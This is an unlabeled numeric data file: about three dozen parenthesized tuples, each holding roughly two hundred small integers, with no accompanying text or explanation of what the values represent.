(5,6,7,7,6,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,7,8,6,5,8,8,8,8,8,6,6,8,7,8,8,5,8,8,8,6,8,8,8,8,7,8,8,8,8,8,8,8,7,8,8,7,8,8,8,8,7,5,5,8,8,7,8,7,6,5,5,8,8,7,8,8,8,8,8,8,8,8,8,8,8,8,8,8,7,8,8,5,5,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,7,8,8,7,8,8,8,8,8,8,8,8,8,8,8,8,8,8,7,8,7,7,6,8,8,8,8,8,7,8,8,7,8,8,8,8,8,8,8,8,8,8,8,8,7,7,7,7,7,8,8,7,6,8,7,5,6,5,6,5,7,5,8,8,8,6,6,6,8,7,8,8,8,8,8,8,8,5,8,5,8,8,8,8,8,5,8,5,8,8,7,8,8,7,8,8,8,7,8,8,7,7,8,8,8,),
(6,6,7,7,6,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,7,8,7,7,8,8,8,8,8,6,7,8,7,8,8,7,8,8,8,7,8,8,8,8,7,8,8,8,8,8,8,8,8,8,8,7,8,8,8,8,8,5,6,8,8,7,8,7,7,5,7,8,8,7,8,8,8,8,8,8,8,8,8,8,8,8,8,8,7,8,8,7,7,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,7,8,8,8,8,8,8,8,8,8,8,8,8,8,8,7,8,8,7,6,8,8,8,8,8,7,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,7,8,8,7,8,8,8,8,7,8,7,5,7,6,7,5,8,5,8,8,8,6,6,6,8,7,8,8,8,8,8,8,8,6,8,5,8,8,8,8,8,6,8,6,8,8,8,8,8,8,8,8,8,8,8,8,7,8,8,8,8,),
(9,12,10,11,11,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,11,13,13,13,10,13,13,12,13,13,13,13,13,13,12,13,13,13,13,11,13,13,13,13,12,13,13,13,13,13,13,13,13,13,13,13,10,10,13,11,12,13,12,12,11,13,13,12,11,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,12,10,12,13,13,13,13,13,13,13,13,13,13,13,13,13,11,13,13,13,11,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,11,13,13,12,13,11,11,13,12,13,12,10,12,10,12,10,13,10,13,13,13,11,11,12,13,13,13,13,13,13,13,13,13,9,13,11,13,13,13,13,13,9,13,12,13,13,13,11,13,13,13,12,13,13,13,13,12,13,13,13,13,),
(6,13,8,8,11,13,13,13,13,13,13,12,12,9,8,13,13,13,13,13,13,13,11,13,13,13,8,13,13,12,6,13,13,13,12,12,13,13,10,13,13,13,13,13,10,11,13,13,9,11,11,12,13,13,12,11,13,13,13,11,12,13,11,10,13,10,12,11,12,8,11,13,12,10,10,13,13,13,13,13,13,13,9,11,11,9,11,13,13,13,12,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,11,13,12,8,10,8,8,8,11,9,11,13,13,13,13,13,12,9,13,10,9,10,13,11,12,11,12,11,9,13,11,13,13,13,13,13,13,13,13,13,13,13,13,13,13,9,13,12,10,12,8,10,12,13,13,12,9,13,10,13,9,13,9,11,13,10,12,10,13,13,13,13,13,12,9,11,8,13,13,13,12,11,9,11,13,13,13,13,13,12,13,12,10,11,12,13,10,9,11,9,9,12,9,13,13,13,),
(5,6,6,6,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,4,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,5,6,6,5,6,4,6,6,6,6,6,6,5,6,6,6,6,6,6,6,6,6,6,6,6,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,),
(2,6,3,4,4,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,5,6,6,6,3,6,6,6,6,6,6,6,6,6,6,6,6,6,6,4,6,6,6,6,5,6,6,6,6,6,6,6,6,6,6,6,4,4,6,5,5,6,5,5,4,6,6,5,4,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,5,3,5,6,6,6,6,6,6,6,6,6,6,6,6,6,4,6,6,6,4,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,4,6,6,5,6,5,5,6,6,6,5,4,6,3,6,3,6,4,6,6,6,5,4,6,6,6,6,6,6,6,6,6,6,6,6,5,6,6,6,6,6,6,6,6,6,6,6,5,6,6,6,5,6,6,6,6,5,6,6,6,6,),
(7,9,8,9,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,11,10,11,11,11,8,10,11,10,11,11,9,11,11,11,10,11,11,11,11,8,11,11,11,11,10,11,11,11,11,11,10,11,11,11,11,11,9,8,11,10,10,11,10,10,9,8,11,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,9,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,8,10,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,9,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,10,10,11,10,11,10,9,10,8,10,8,11,9,11,11,11,9,9,9,11,8,11,11,11,11,11,11,11,9,11,8,11,11,11,11,11,9,11,9,11,11,11,10,11,11,11,10,11,11,11,11,10,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(10,11,12,12,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,10,12,12,11,12,12,12,12,12,12,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,10,9,12,12,11,12,11,11,10,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,10,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,11,12,11,9,11,9,11,9,12,9,12,12,12,10,11,11,12,12,12,12,12,12,12,12,12,11,12,11,12,12,12,12,12,11,12,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,),
(9,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,9,11,8,11,8,11,9,11,11,11,10,10,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,14,10,11,12,14,14,14,14,14,14,14,14,13,13,14,14,14,14,14,14,14,14,14,14,14,9,14,14,14,10,14,14,14,14,14,14,14,13,14,14,14,14,14,13,12,14,14,14,13,13,14,14,14,14,14,14,14,14,13,14,14,13,11,14,11,13,13,13,13,12,14,13,12,11,14,14,14,14,14,14,14,13,13,13,13,13,14,14,14,14,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,14,12,11,12,13,13,13,13,13,14,14,14,14,14,14,14,14,12,13,14,14,12,13,13,13,13,13,14,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,11,14,14,12,14,10,12,14,14,14,13,13,14,11,14,11,14,12,13,14,13,13,11,13,14,14,14,14,14,14,13,13,14,13,14,12,13,14,13,14,14,13,14,13,14,14,14,11,13,14,14,12,13,14,14,14,13,14,14,14,13,),
(8,8,8,8,8,8,8,7,8,8,8,8,8,7,8,8,8,8,8,8,8,8,8,7,7,8,8,8,8,8,8,7,8,7,7,6,7,7,8,8,7,8,8,8,8,8,8,8,6,7,8,7,7,7,6,8,8,8,8,8,7,7,6,6,8,8,7,8,7,8,6,7,8,8,8,8,7,8,8,8,8,8,7,7,7,5,7,8,8,8,7,8,7,7,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,7,6,6,7,6,8,8,8,7,8,8,8,8,8,5,7,8,6,7,6,7,6,5,8,6,8,7,8,8,8,8,8,8,8,8,8,8,8,8,8,7,6,8,6,8,7,6,7,8,7,6,8,6,7,5,8,6,6,8,5,8,8,7,8,8,8,8,6,6,5,6,8,7,8,8,6,6,8,7,8,7,8,7,6,7,6,7,6,7,7,7,8,6,8,8,8,6,8,8,8,),
(10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,7,10,10,10,10,10,9,9,10,9,10,10,6,10,10,10,9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,8,7,10,10,9,10,9,9,7,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,6,6,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,8,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,10,9,7,10,7,9,7,10,7,10,10,10,9,10,8,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,),
(9,10,10,11,12,14,14,14,14,14,14,14,14,13,13,14,14,14,14,14,14,13,14,13,11,14,11,14,14,14,10,13,13,12,14,14,9,14,13,14,13,14,14,14,13,11,14,14,14,13,13,14,14,14,14,14,13,14,14,13,14,14,11,11,14,11,13,13,13,13,11,7,13,12,11,14,14,14,14,14,14,14,13,13,13,13,13,14,14,13,14,13,7,7,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,14,12,11,12,13,13,13,13,13,14,14,14,14,14,14,14,14,12,13,14,13,12,13,13,13,13,13,13,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,11,14,14,12,14,11,12,14,13,14,13,10,13,11,13,11,14,10,13,14,13,12,11,12,14,10,14,14,14,14,13,13,14,9,14,11,13,14,13,14,14,9,14,12,14,14,14,11,13,14,14,12,13,14,14,14,13,14,14,14,13,),
(7,7,7,9,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,11,8,11,11,11,8,10,11,10,11,11,8,11,11,11,10,11,11,11,11,8,11,11,11,11,10,11,11,11,11,11,10,11,11,11,11,11,8,8,11,9,10,11,10,10,8,8,11,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,8,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,8,10,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,9,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,8,9,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,9,9,11,8,11,11,11,11,11,11,11,7,11,8,11,11,11,11,11,7,11,9,11,11,11,8,11,11,11,10,11,11,11,11,10,11,11,11,11,),
(8,9,9,9,9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,10,8,8,10,9,10,10,10,7,8,10,9,10,10,8,10,10,10,8,10,10,10,10,9,10,10,9,10,9,8,10,8,10,10,9,10,10,10,10,9,7,7,10,9,9,10,9,8,7,8,10,9,9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,10,9,8,8,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,10,9,9,9,10,10,10,10,10,10,10,10,10,10,10,10,10,9,10,9,9,8,10,10,10,10,10,9,10,10,9,10,10,10,10,10,10,10,10,10,10,10,10,9,9,9,9,8,8,8,8,8,10,9,7,9,7,8,7,9,7,10,10,10,8,9,8,10,9,10,10,10,10,10,10,10,8,10,9,10,10,10,10,10,8,10,8,10,10,8,8,10,8,10,9,10,9,10,10,9,9,10,10,10,),
(6,7,7,7,7,7,7,6,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,5,5,7,7,7,7,7,5,5,7,6,7,6,5,6,7,7,5,7,7,7,7,7,7,7,7,6,7,7,6,6,6,7,7,7,7,7,6,6,5,4,7,7,6,7,6,5,4,6,6,7,7,7,7,7,7,7,7,7,7,7,7,6,7,7,7,7,6,7,5,5,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,6,6,7,5,6,6,6,6,6,7,6,7,6,7,7,7,7,7,7,7,7,7,7,7,7,7,6,6,7,6,7,7,6,5,7,6,4,7,4,6,4,6,4,6,7,6,6,7,4,7,7,7,7,6,6,6,6,7,6,7,7,6,7,7,6,7,6,7,6,6,7,6,7,6,6,6,7,7,6,7,7,7,6,7,7,7,),
(8,9,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,10,11,11,11,11,11,9,10,11,10,11,11,10,11,11,11,10,11,11,11,11,10,11,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,8,8,11,11,10,11,10,10,8,10,9,11,10,11,11,11,11,11,11,11,11,11,11,10,11,11,11,10,11,11,10,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,8,11,10,9,9,9,10,9,9,10,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,10,11,11,11,11,10,11,10,8,10,8,10,8,11,8,10,11,9,9,9,9,11,10,11,11,11,11,10,10,11,9,11,9,10,11,11,11,11,9,11,9,11,11,11,11,10,11,11,11,11,11,11,11,10,11,11,11,10,),
(6,8,6,7,7,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,6,9,9,9,6,9,9,8,9,9,9,9,9,9,8,9,9,9,9,7,9,9,9,9,8,9,9,9,9,9,9,9,9,9,9,9,6,6,9,7,8,9,8,8,7,9,9,8,7,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,8,6,8,9,9,9,9,9,9,9,9,9,9,9,9,9,7,9,9,9,7,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,7,9,9,8,9,6,7,9,8,9,8,6,8,6,8,6,9,6,9,9,9,7,7,8,9,9,9,9,9,9,9,9,9,6,9,7,9,9,9,9,9,6,9,8,9,9,9,6,9,9,9,8,9,9,9,9,8,9,9,9,9,),
(7,10,7,8,8,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,7,10,10,10,7,10,10,10,10,10,10,10,10,10,10,10,10,10,10,8,10,10,10,10,9,10,10,10,10,10,10,10,10,10,10,10,8,7,10,8,9,10,9,9,8,10,10,9,8,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,7,9,10,10,10,10,10,10,10,10,10,10,10,10,10,8,10,10,10,8,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,8,10,10,9,10,7,8,10,10,10,9,7,10,7,10,7,10,7,10,10,10,9,8,10,10,10,10,10,10,10,10,10,10,10,10,9,10,10,10,10,10,10,10,10,10,10,10,7,10,10,10,9,10,10,10,10,9,10,10,10,10,),
(6,8,8,8,8,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,10,9,9,10,9,10,10,10,7,9,10,9,10,10,9,10,10,10,9,10,10,10,10,8,10,10,10,10,9,10,10,10,10,10,9,10,10,10,10,10,7,7,10,9,9,10,9,9,7,9,10,9,8,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,10,9,9,9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,8,9,10,10,10,10,10,10,10,10,10,10,10,10,10,8,10,10,9,8,10,10,10,10,10,9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,8,10,10,9,10,9,9,10,9,10,9,7,9,7,9,7,10,7,10,10,10,8,8,8,10,9,10,10,10,10,10,10,10,8,10,7,10,10,10,10,10,8,10,8,10,10,10,9,10,10,10,9,10,10,10,10,9,10,10,10,10,),
(6,7,8,8,7,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,7,5,8,8,8,8,8,6,7,8,7,8,8,6,8,8,8,7,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,6,5,8,8,7,8,7,7,5,6,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,6,5,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,6,8,8,8,8,8,7,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,7,8,7,5,7,5,7,5,8,5,8,8,8,6,7,6,8,8,8,8,8,8,8,8,8,6,8,5,8,8,8,8,8,6,8,6,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,),
(6,8,9,9,8,9,9,9,9,9,9,9,9,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,7,9,9,8,8,8,9,9,9,9,8,9,9,9,9,9,9,9,8,8,9,8,9,9,8,9,9,9,9,9,8,9,7,6,9,9,8,8,8,7,7,9,8,9,9,9,9,9,9,9,9,9,8,8,8,8,8,9,9,9,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,8,9,9,9,8,8,8,8,8,9,9,9,9,9,9,9,9,9,8,8,9,7,8,8,8,8,8,9,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,8,9,8,8,8,8,8,9,8,6,8,6,8,6,9,6,8,9,8,7,8,8,9,9,9,9,8,8,8,8,9,7,9,7,8,8,9,9,9,7,9,8,8,9,8,8,8,8,9,8,9,8,9,9,9,8,9,9,8,),
(8,8,8,9,8,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,10,8,7,10,10,10,10,10,8,8,10,9,10,10,5,10,10,10,8,10,10,10,10,8,10,10,10,10,10,10,10,9,10,10,9,10,10,10,10,9,8,7,10,10,9,10,9,8,8,5,10,10,9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,10,10,8,8,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,10,10,8,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,10,9,9,8,10,10,10,10,10,9,10,10,9,10,10,10,10,10,10,10,10,10,10,10,10,9,9,9,9,9,10,10,9,8,10,9,8,8,7,8,7,9,8,10,10,10,8,8,8,10,5,10,10,10,10,10,10,10,7,10,6,10,10,10,10,10,7,10,7,10,10,9,10,10,9,10,10,10,9,10,10,8,9,10,10,10,),
(9,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,9,11,8,11,8,11,9,11,11,11,10,10,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(11,11,11,11,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,11,12,11,11,12,11,12,12,12,10,11,12,11,12,12,11,12,12,12,11,12,12,12,12,11,12,12,12,12,11,12,12,12,12,12,11,12,12,12,12,12,11,10,12,11,11,12,11,11,11,11,12,11,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,11,12,11,11,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,11,11,11,12,12,12,12,12,12,12,12,12,12,12,12,12,10,12,12,11,10,12,12,12,12,12,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,10,12,12,11,12,11,11,12,11,12,11,11,11,9,11,9,12,11,12,12,12,11,11,10,12,11,12,12,12,12,12,12,12,11,12,11,12,12,12,12,12,11,12,10,12,12,12,11,12,12,12,11,12,12,12,12,11,12,12,12,12,),
(11,16,12,13,14,16,16,16,16,16,16,16,16,15,15,16,16,16,16,16,16,16,16,16,16,16,10,16,16,16,12,16,16,16,16,16,16,16,15,16,16,16,16,16,15,14,16,16,16,15,15,16,16,16,16,16,16,16,16,15,16,16,15,14,16,13,15,15,15,15,15,16,15,14,13,16,16,16,16,16,16,16,15,15,15,15,15,16,16,16,16,15,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,15,16,16,14,13,14,15,15,15,15,15,16,16,16,16,16,16,16,16,14,15,16,16,14,15,15,15,15,15,16,15,16,16,16,16,16,16,16,16,16,16,16,16,16,16,13,16,16,14,16,12,14,16,16,16,15,15,16,13,16,13,16,15,15,16,15,15,13,16,16,16,16,16,16,16,15,15,16,16,16,15,15,16,15,16,16,16,16,16,16,16,16,13,15,16,16,14,15,16,16,16,15,16,16,16,16,),
(11,13,11,11,11,12,11,11,11,13,13,11,11,10,11,12,12,13,13,11,13,13,11,10,10,13,11,13,13,11,11,10,12,12,11,10,11,10,11,12,12,11,11,11,11,11,13,13,10,10,11,10,10,11,10,11,11,11,11,11,12,12,13,12,11,11,13,11,13,11,13,11,13,11,11,11,10,12,13,13,13,12,10,10,10,9,10,13,13,12,11,11,13,13,13,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,10,11,10,11,11,11,11,11,11,11,11,13,11,9,10,11,11,10,9,10,9,9,11,9,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,13,10,11,10,11,10,13,13,13,10,13,12,10,13,10,11,13,9,13,9,13,11,11,11,11,11,11,10,10,9,9,12,11,11,11,9,10,11,10,13,11,11,11,10,10,10,10,9,11,13,10,11,10,11,11,11,10,13,13,11,),
(10,11,9,9,9,10,10,9,9,11,11,10,10,9,9,10,10,11,11,12,11,11,10,9,9,11,10,11,11,9,10,9,11,9,10,9,9,9,10,12,9,9,9,9,9,10,12,11,9,9,9,9,9,9,9,9,9,9,9,9,10,10,11,12,9,9,11,9,11,10,11,9,11,9,9,9,9,9,11,11,11,10,9,9,9,9,9,11,11,10,9,9,11,12,11,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,10,9,9,9,9,9,10,9,10,9,9,9,9,9,9,9,11,9,9,9,9,10,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,12,9,12,9,10,9,11,12,12,12,12,11,12,11,11,12,11,9,11,9,11,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,11,9,10,9,9,9,9,9,9,10,11,9,10,9,9,9,9,9,11,11,9,),
(12,14,14,14,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,12,13,14,14,14,14,14,12,12,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,12,11,14,14,13,14,13,12,12,12,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,12,14,14,14,14,14,14,14,14,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,13,14,14,13,14,14,13,12,14,11,14,11,14,11,14,14,14,13,13,14,14,14,14,14,14,14,14,14,14,14,14,13,14,14,14,14,14,14,14,14,14,14,13,14,14,13,14,14,14,13,14,14,14,13,14,14,14,),
(9,11,9,9,9,11,11,11,11,11,11,11,11,10,10,11,11,11,11,12,11,11,11,11,11,11,10,11,11,11,8,11,11,11,11,11,11,11,10,11,11,11,11,11,10,9,12,11,11,10,10,11,11,11,11,11,11,11,11,10,11,11,10,9,11,10,10,10,10,10,10,11,10,10,9,11,11,11,11,11,11,11,10,10,10,10,10,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,10,9,10,10,10,10,10,10,11,11,11,11,11,11,11,11,9,10,11,11,10,10,10,10,10,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,12,11,10,10,11,12,12,12,10,11,11,11,12,11,10,10,11,10,10,9,11,11,11,11,11,11,11,10,10,11,11,11,10,10,11,10,11,11,11,11,11,11,11,11,10,10,11,11,10,10,11,11,11,10,11,11,11,11,),
(10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,10,11,11,11,11,11,9,10,11,10,11,11,10,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,8,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,11,8,10,9,11,8,11,11,11,10,11,9,11,11,11,11,11,11,11,11,11,10,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
